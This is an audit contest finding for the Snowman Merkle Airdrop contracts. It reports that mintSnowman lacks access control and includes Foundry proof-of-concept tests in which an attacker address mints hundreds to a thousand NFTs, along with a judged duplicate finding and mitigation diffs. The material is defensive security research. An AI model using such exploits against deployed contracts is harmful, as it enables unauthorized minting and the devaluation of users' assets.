Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Snowman.mintSnowman has no access control — anyone can mint unlimited NFTs

Description

The Snowman NFT contract is intended to issue NFTs exclusively through the
SnowmanAirdrop contract, which validates each claim against three independent
checks (Snow token balance, EIP-712 signature, and Merkle proof). The
mintSnowman function on the NFT contract itself has no restriction on its
caller, so any address can create NFTs without going through the airdrop at
all. The result is that the entire claim verification pipeline is bypassable
with a single direct call to the NFT contract.

// src/Snowman.sol
function mintSnowman(address receiver, uint256 amount) external {
@> // No access control modifier (onlyOwner, onlyAirdrop, etc.)
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
​
emit SnowmanMinted(receiver, s_TokenCounter);
​
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Reason 1 // Any external caller can invoke mintSnowman directly; no role, signature,
    or token balance is required.

  • Reason 2 // The Snowman contract deploys to a public address and its ABI is
    public; the mint function is trivially discoverable and callable by a single
    transaction.

Impact:

  • Impact 1 // Complete destruction of Snowman NFT scarcity. An attacker can mint
    an arbitrary number of NFTs at zero cost, making them worthless and violating
    the protocol's core invariant that every Snowman is backed by a staked Snow
    token.

  • Impact 2 // Permanent denial-of-service on the intended airdrop flow. Because
    _safeMint uses sequential token IDs, an attacker can mint ahead of legitimate
    claims and consume the entire ID range in one transaction, forcing all future
    user mints to share shifted IDs and permanently breaking any off-chain
    enumeration or indexing that assumes ID 0 belongs to the first legitimate
    claim.

Proof of Concept

The PoC deploys the Snowman contract in isolation and exercises mintSnowman
from an address that has no relationship to the protocol: no ownership role,
no Snow token balance, no ECDSA signature, and no Merkle proof. The first
test asserts that the attacker's call succeeds and mints 100 NFTs to their
address. The second test asserts that because token IDs are sequential, an
attacker minting 100 NFTs first pushes the victim's legitimate mint to ID 100,
proving the ID-space griefing vector described in the Impact section. Both
tests run on the unmodified source; no mocking or state manipulation is
required.

// test/poc/MintSnowmanPoc.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test, console} from "forge-std/Test.sol";
import {Snowman} from "../../src/Snowman.sol";
​
contract MintSnowmanPoc is Test {
Snowman snowman;
address attacker = address(0xBAD);
address victim = address(0xCAFE);
​
function setUp() public {
snowman = new Snowman("ipfs://snowman.svg");
}
​
function test_attackerCanMintSnowmen() public {
assertEq(snowman.balanceOf(attacker), 0);
assertEq(snowman.getTokenCounter(), 0);
​
// Attacker has never interacted with the protocol, holds no Snow,
// has no signature, and has no Merkle proof.
vm.prank(attacker);
snowman.mintSnowman(attacker, 100);
​
assertEq(snowman.balanceOf(attacker), 100);
assertEq(snowman.getTokenCounter(), 100);
assertEq(snowman.ownerOf(0), attacker);
assertEq(snowman.ownerOf(99), attacker);
}
​
function test_victimTokenIdShiftedByAttacker() public {
vm.prank(attacker);
snowman.mintSnowman(attacker, 100);
​
// A legitimate mint now happens at ID 100, not ID 0.
snowman.mintSnowman(victim, 1);
​
assertEq(snowman.ownerOf(100), victim);
assertEq(snowman.ownerOf(0), attacker);
}
}

Recommended Mitigation

The fix is to enforce at the NFT-contract level the invariant that is
currently only assumed at the airdrop-contract level: only the deployed
SnowmanAirdrop contract may mint. Storing the airdrop address as an immutable
in the Snowman constructor means the binding cannot be changed after
deployment, and the onlyAirdrop modifier reverts all other callers with the
existing SM__NotAllowed error. This preserves the entire claim-verification
pipeline in SnowmanAirdrop while closing the direct-mint bypass. Deployment
scripts must pass the airdrop address at construction; if circular dependency
is a concern, AccessControl with a MINTER_ROLE granted at deploy time achieves
the same effect without changing the constructor signature.

+ import {SnowmanAirdrop} from "./SnowmanAirdrop.sol";
​
contract Snowman is ERC721, Ownable {
// ...
uint256 private s_TokenCounter;
string private s_SnowmanSvgUri;
+ address public immutable i_airdrop;
​
+ modifier onlyAirdrop() {
+ if (msg.sender != i_airdrop) revert SM__NotAllowed();
+ _;
+ }
​
- constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ constructor(string memory _SnowmanSvgUri, address _airdrop) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
+ i_airdrop = _airdrop;
}
​
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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